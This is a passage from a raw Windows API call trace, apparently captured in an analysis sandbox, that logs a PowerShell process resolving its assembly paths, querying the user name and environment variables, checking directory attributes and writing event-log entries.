lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x22cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0055.856] CoTaskMemAlloc (cb=0x804) returned 0x1b796030 [0055.856] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b796030, nSize=0x22d748 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x22d748) returned 0x1 [0055.857] CoTaskMemFree (pv=0x1b796030) [0055.857] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.857] GetUserNameW (in: lpBuffer=0x124030, pcbBuffer=0x22d788 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x22d788) returned 1 [0055.857] CoTaskMemFree (pv=0x124030) [0055.858] ReportEventW (hEventLog=0x1b8d0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x31f1a38*="Certificate", lpRawData=0x31f17c8) returned 1 [0055.866] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.867] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.867] CoTaskMemFree (pv=0x168700) [0055.871] GetLogicalDrives () returned 0x4 [0055.871] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x22d3d0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.871] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0055.872] CoTaskMemAlloc (cb=0x20e) returned 0x173a90 [0055.872] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x173a90 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0055.872] CoTaskMemFree (pv=0x173a90) [0055.873] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.873] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.873] CoTaskMemFree (pv=0x168700) [0055.873] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.874] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.874] CoTaskMemFree (pv=0x168700) [0055.892] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.892] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.892] CoTaskMemFree (pv=0x168700) [0055.893] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.893] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.893] CoTaskMemFree (pv=0x168700) [0055.894] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x22d130, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.894] SetErrorMode (uMode=0x1) returned 0x1 [0055.894] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x22d390 | out: lpFileInformation=0x22d390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0055.894] SetErrorMode (uMode=0x1) returned 0x1 [0055.894] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x22d130, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.894] SetErrorMode (uMode=0x1) returned 0x1 [0055.895] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x22d390 | out: lpFileInformation=0x22d390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0055.895] SetErrorMode (uMode=0x1) returned 0x1 [0055.896] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.896] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.896] CoTaskMemFree (pv=0x168700) [0055.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x22d2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.902] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x22d140, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.902] SetErrorMode (uMode=0x1) returned 0x1 [0055.902] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x22d350 | out: lpFileInformation=0x22d350*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0055.902] SetErrorMode (uMode=0x1) returned 0x1 [0055.902] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x22d140, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.903] SetErrorMode (uMode=0x1) returned 0x1 [0055.903] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x22d350 | out: lpFileInformation=0x22d350*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0055.903] SetErrorMode (uMode=0x1) returned 0x1 [0055.903] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x22d150, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.903] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x22d040, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.903] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x22d140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0055.903] SetErrorMode (uMode=0x1) returned 0x1 [0055.903] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x22d350 | out: lpFileInformation=0x22d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0055.904] SetErrorMode (uMode=0x1) returned 0x1 [0055.904] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x22d140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0055.904] SetErrorMode (uMode=0x1) returned 0x1 [0055.904] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x22d350 | out: lpFileInformation=0x22d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0055.904] SetErrorMode (uMode=0x1) returned 0x1 [0055.904] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x22d150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0055.904] GetFullPathNameW (in: lpFileName="C:\\Windows\\.", nBufferLength=0x105, lpBuffer=0x22d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0055.904] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x22d140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.904] SetErrorMode (uMode=0x1) returned 0x1 [0055.905] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x22d350 | out: lpFileInformation=0x22d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0055.905] SetErrorMode (uMode=0x1) returned 0x1 [0055.905] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x22d140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.905] SetErrorMode (uMode=0x1) returned 0x1 [0055.905] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x22d350 | out: lpFileInformation=0x22d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0055.905] SetErrorMode (uMode=0x1) returned 0x1 [0055.905] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x22d150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.905] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x105, lpBuffer=0x22d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.906] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x22d180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0055.906] SetErrorMode (uMode=0x1) returned 0x1 [0055.906] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x22d390 | out: lpFileInformation=0x22d390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0055.906] SetErrorMode (uMode=0x1) returned 0x1 [0055.906] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x22d180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0055.906] SetErrorMode (uMode=0x1) returned 0x1 [0055.906] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x22d390 | out: lpFileInformation=0x22d390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0055.906] SetErrorMode (uMode=0x1) returned 0x1 [0055.906] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x22d190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0055.907] GetFullPathNameW (in: lpFileName="C:\\Windows\\.", nBufferLength=0x105, lpBuffer=0x22d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0055.907] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x22d180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.907] SetErrorMode (uMode=0x1) returned 0x1 [0055.907] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x22d390 | out: lpFileInformation=0x22d390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0055.907] SetErrorMode (uMode=0x1) returned 0x1 [0055.907] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x22d180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.907] SetErrorMode (uMode=0x1) returned 0x1 [0055.907] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x22d390 | out: lpFileInformation=0x22d390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0055.907] SetErrorMode (uMode=0x1) returned 0x1 [0055.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x22d190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x105, lpBuffer=0x22d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x22d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0055.910] SetErrorMode (uMode=0x1) returned 0x1 [0055.910] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x22d650 | out: lpFileInformation=0x22d650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0055.910] SetErrorMode (uMode=0x1) returned 0x1 [0055.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.967] CoTaskMemAlloc (cb=0x804) returned 0x1b7961c0 [0055.967] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7961c0, nSize=0x22d9b8 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x22d9b8) returned 0x1 [0055.967] CoTaskMemFree (pv=0x1b7961c0) [0055.968] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.968] GetUserNameW (in: lpBuffer=0x124030, pcbBuffer=0x22d9f8 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x22d9f8) returned 1 [0055.968] CoTaskMemFree (pv=0x124030) [0055.969] ReportEventW (hEventLog=0x1b8d0008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x322a720*="Available", lpRawData=0x322a4b0) returned 1 [0055.971] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.972] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.972] CoTaskMemFree (pv=0x168700) [0055.973] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.973] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.973] CoTaskMemFree (pv=0x168700) [0055.974] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.977] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.977] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0055.977] CoTaskMemFree (pv=0x168700) [0055.977] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.977] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0055.977] CoTaskMemFree (pv=0x168700) [0055.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.979] GetCurrentProcessId () returned 0xaf8 [0055.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d3d0, lpFilePart=0x0 | out: 